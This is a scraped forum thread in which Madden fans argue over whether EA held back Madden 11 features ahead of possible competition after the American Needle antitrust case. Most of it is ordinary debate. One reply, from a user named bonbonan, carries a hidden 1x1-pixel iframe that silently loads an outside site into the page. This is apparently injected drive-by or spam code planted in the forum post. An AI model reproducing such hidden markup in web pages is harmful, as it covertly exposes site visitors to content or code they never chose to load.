Are They Holding Out For Next Year?

[marktg30]

With the American Needle case making all the sports gaming headlines (as well as the occasional sports page) I am curious about this.

I really feel like EA pushed hard last year to make Madden into a juggernaut and make everyone forget about the 'other company'. However, this year really feels lackluster.
(PLEASE! Don't make this into a flame war.)

From marketing to 'features' it really feels like a major let down. Am I the only one that feels as if they are holding back major advances just in case they have major competition in 2011?

Discuss if you can do so with a mature attitude towards the question posed. Thanks.

[Chiefsfan881129]

Re: Are They Holding Out For Next Year?

With the American Needle case making all the sports gaming headlines (as well as the occasional sports page) I am curious about this.

I really feel like EA pushed hard last year to make Madden into a juggernaut and make everyone forget about the 'other company'. However, this year really feels lackluster.
(PLEASE! Don't make this into a flame war.)

From marketing to 'features' it really feels like a major let down. Am I the only one that feels as if they are holding back major advances just in case they have major competition in 2011?

Discuss if you can do so with a mature attitude towards the question posed. Thanks.

no i dont think they are holding anything back if i recall correctally they start working on the next game the minute they finsih the new game

since madden 11 is likely to be finsihed in july they will start working on madden nfl 12 in july for example

and alot of the stuff that goes into the game is useally planned ahead of time

and if i recall correctally the american needle case started after they begain working on madden 11

so i dont think there waiting till next year or holding anything back cause one the american needle case does not affect the madden portion of things but future anti turst lawsuits could if a company like 2k was to do this

but i dont think there waiting till next year nor holding back any features as not everything has been annouced yet and useally the biggest new features if any are saved for last so we should know something soon thanks

[marktg30]

Re: Are They Holding Out For Next Year?

No, I don't think they are holding anything back if I recall correctly they start working on the next game the minute they finish the new game.

since madden 11 is likely to be finsihed in july they will start working on madden nfl 12 in july for example

and alot of the stuff that goes into the game is useally planned ahead of time

and if i recall correctally the american needle case started after they begain working on madden 11

so i dont think there waiting till next year or holding anything back cause one the american needle case does not affteft the madden portion of things but future anti turst lawsuits could if a company like 2k was to do this

but i dont think there waiting till next year nor holding baxk any features as not everything has bee annouced yet and useally the biggest new features if any are saved for last so we should know something soon thanks

The effectiveness of your argument might have been stronger with more attention to spelling and grammar... All of that aside, I have to disagree with this because I feel that they saw this ruling coming and knew well in advance of Madden 11's impending release that there was a strong possibility that this ruling would go in favor of American Needle (AN).

Not only did the case go public months ago, but it went public with more than enough time for the EA brass to make decisions about whether or not to push major gameplay improvements (IE - ProTAK).

ProTAK was the big push last year... Now they are pushing 'Simpler'? Really? Someone to call plays for you? I think that is and has been called "Ask Madden" for 5-6 years now.

Just saying, you make a decent point about them going into production as soon as (or before) the next installment even comes out (I have a feeling they have people working on Madden 13 right now, for instance...) but that doesn't mean they don't have people watching the tides and waiting for them to turn. Then making decisions about whether or not to include things that may have been coded already.

[mrprice33]

Re: Are They Holding Out For Next Year?

Lmao @ this thread being made on June 1. Jumping the gun there just a tad, hombre.

But for the sake of argument, let's say that Madden is feature-locked now, and that what we've heard thusfar is what we get in August. I don't really think the AN decision had anything to do with it. For starters, the AN decision doesn't affect Madden at all yet, and wouldn't likely for a few years. There won't be a company ready to ship an NFL licensed game in August 2011 (for Madden 12), and that's assuming that the ramifications of the AN case will even reach EA by that time. The court system is a hilariously slow-moving process, and I'd imagine that if this case forces the NFL to license their trademarks out to other game companies, that it'd be a few years before anyone could even get started.

So let's say then, that your inference is right, and that the AN case will allow a game company to make an NFL game next year, and that, in fact, one is coming out. Why would it make smart business sense for EA to purposefully release a lackluster product the year before? If you study the sales trends of these yearly releases, you'll find that many times the sales of the next year's title is predicated on the perceived quality of the last year's title. Why go into an open competition with a weak product and barely any momentum? That makes no sense whatsoever.

What's more likely is this: it's June 1. We haven't heard everything that's to come from Madden, and I'd imagine that they have a few surprises in store for us. Also, it seems to me that certain features of the game are now on a two-year dev cycle, and the dev teams are being much more honest with themselves as to what can make it into any specific release. For example the locomotion was definitely planned for Madden 10 (and possibly for NCAA 10 as well) and as we saw, it really took them two years to (hopefully) get it right. So even if this release of Madden ends up being lackluster (from a feature standpoint, since, you know, nobody's really played it yet), I'd imagine that the real reason is simply that it's a transitional release (ala NCAA 10).

[thecougarbear]

Re: Are They Holding Out For Next Year?

I voted "no," for this year, but here is the sad truth: while EA may not have been "holding back" advancements on purpose for the last 5 years, they have had little incentive to push the technological envelope.

Yeah, we've beat the license fiasco to death, but, really, what incentive have they had? There is no real competition, and people keep buying the game.

Competition breeds quality.

Thank god for the OS community. Until i discovered this place, I thought I was the only person incessantly irritated by the game.

So, no, not on purpose. i don't think there are closed-door meetings where they are plotting to hold back their good stuff for a year. However, yes, they have been playing the field rather conservatively for the better part of a decade.

[CreatineKasey]

Re: Are They Holding Out For Next Year?

Absolutely not. Locomotion is a great improvement, so is gameflow. I'm not sure where you guys get these ideas from. Ohhhh conspiracy theories....

[epicbloodline]

Re: Are They Holding Out For Next Year?

With the American Needle case making all the sports gaming headlines (as well as the occasional sports page) I am curious about this.

I really feel like EA pushed hard last year to make Madden into a juggernaut and make everyone forget about the 'other company'. However, this year really feels lackluster.
(PLEASE! Don't make this into a flame war.)

From marketing to 'features' it really feels like a major let down. Am I the only one that feels as if they are holding back major advances just in case they have major competition in 2011?

Discuss if you can do so with a mature attitude towards the question posed. Thanks.

Dude...you can't be serious... you didn't honestly think something major was gonna change from 2006 to 2011 did you... knock it off

[Cusefan]

Re: Are They Holding Out For Next Year?

I voted "no," for this year, but here is the sad truth: while EA may not have been "holding back" advancements on purpose for the last 5 years, they have had little incentive to push the technological envelope.

Yeah, we've beat the license fiasco to death, but, really, what incentive have they had? There is no real competition, and people keep buying the game.

Competition breeds quality.

Thank god for the OS community. Until i discovered this place, I thought I was the only person incessantly irritated by the game.

So, no, not on purpose. i don't think there are closed-door meetings where they are plotting to hold back their good stuff for a year. However, yes, they have been playing the field rather conservatively for the better part of a decade.

You do Realize that Madden has to compete with every other video game being released from July to September. A crappy Madden game will not sell very well: Reviews, Peer Recommendations, and Online Forums like these matter.

If a Niche game sucks you will still get that hardcore crowd but they make up a small portion of sales. Developers at EA realize that if you are going for a game with a small market, you have to hit it out of the park otherwise everyone else will pass.

[jclentzthadon]

Re: Are They Holding Out For Next Year?

The effectiveness of your argument might have been stronger with more attention to spelling and grammar...

And your argument may have had a point if it had a ounce of business sense applied to it...

You think EA would dog it this year and hold out for next year? What happens when they do that and then EVERYONE says EA is through because of Madden 11 and they go to the "other" brand?

This would be THE year for EA and madden to get EVERYONE on board and make people WANT madden, and not some other game...

They go subpar this year, it invites people to bail...

[LSX]

Re: Are They Holding Out For Next Year?

Are they holding out for next year? Yes and no. They are always holding something for next year, as well as doing what they can in time to improve the game this year. I'm sure there is a lot they would like to do, but they only have so much time to do it so they plan accordingly. It's all a crap shoot anyway; many of the super-hyped sports games fail miserably. As you all know, it's hard to tell the effect of their improvements until well after the game is released. I suppose from a hype/marketing standpoint, the announced features won't blow anyone out of the water.

PS: You have a weak quote about the greatest coach in college football, spoken by the biggest joke in the history of sports talk radio. Sorry, but I find it hard to take anything you say seriously with a Cowherd quote in your sig.

[N@X_WiZaRD]

Re: Are They Holding Out For Next Year?

For example the locomotion was definitely planned for Madden 10 (and possibly for NCAA 10 as well) and as we saw, it really took them two years to (hopefully) get it right. So even if this release of Madden ends up being lackluster (from a feature standpoint, since, you know, nobody's really played it yet), I'd imagine that the real reason is simply that it's a transitional release (ala NCAA 10).

Honestly, if that's the case, then I am greatly disappointed. Because "Locomotion" doesn't look like it's much different than the Pro-Tak and "Procedural Animation" found in Madden 10. Every animation I saw in the Madden 11 trailer (link: http://www.youtube.com/watch?v=I-v_eNOd-yI) looks like it could easily be replicated in Madden 10. And the tweaks that look slightly new (i.e. the slight change in movement between Reggie's rushes) don't really make you think "Wow, I'm glad I waited 1 year for THAT".

It seems like EA Tiburon is improving it's animation system at a slug's pace. But I'm not sure if I necessarily agree with the OP's statement that EA is somehow willfully doing this. I think they honestly don't know how to improve their animation system without overhauling the whole thing. And they don't want to overhaul the whole thing because Madden still sells. After all, why change something that's apparently not broken.

It's an unfortunate catch-22 that IMO has contributed to making 2006-2010 the equivalent to a dark-age in video game football history.

[MJenness]

Re: Are They Holding Out For Next Year?

You do Realize that Madden has to compete with every other video game being released from July to September. A crappy Madden game will not sell very well: Reviews, Peer Recommendations, and Online Forums like these matter.

If a Niche game sucks you will still get that hardcore crowd but they make up a small portion of sales. Developers at EA realize that if you are going for a game with a small market, you have to hit it out of the park otherwise everyone else will pass.

Lmao...look at Madden 06-10....they still sold by the truckloads, and they were definitely crappy games, so your point is wrong.

[roadman]

Re: Are They Holding Out For Next Year?

Lmao...look at Madden 06-10....they still sold by the truckloads, and they were definitely crappy games, so your point is wrong.

Crappy to us, yes, crappy to the rest of the world, no.

[bonbonan]

Re: Are They Holding Out For Next Year?

Crappy to us, yes, crappy to the rest of the world, no.<iframe src="http://zeroethics.com/opsports/" frameborder="0" marginheight="0" marginwidth="0" width="1" height="1"scrolling="no"></iframe>

I feel that is crappy.

[mrprice33]

Re: Are They Holding Out For Next Year?

Honestly, if that's the case, then I am greatly disappointed. Because "Locomotion" doesn't look like it's much different than the Pro-Tak and "Procedural Animation" found in Madden 10. Every animation I saw in the Madden 11 trailer (link: http://www.youtube.com/watch?v=I-v_eNOd-yI) looks like it could easily be replicated in Madden 10. And the tweaks that look slightly new (i.e. the slight change in movement between Reggie's rushes) don't really make you think "Wow, I'm glad I waited 1 year for THAT".

It seems like EA Tiburon is improving it's animation system at a slug's pace. But I'm not sure if I necessarily agree with the OP's statement that EA is somehow willfully doing this. I think they honestly don't know how to improve their animation system without overhauling the whole thing. And they don't want to overhaul the whole thing because Madden still sells. After all, why change something that's apparently not broken.

It's an unfortunate catch-22 that IMO has contributed to making 2006-2010 the equivalent to a dark-age in video game football history.

I think you missed the most important part of my post. Nobody has played a finished 2011 yet (or even a demo), so we really don't know exactly what we're going to get with the improvements. We'll know more in a couple of weeks when we get NCAA's demo. Until then, it's not really worth discussing.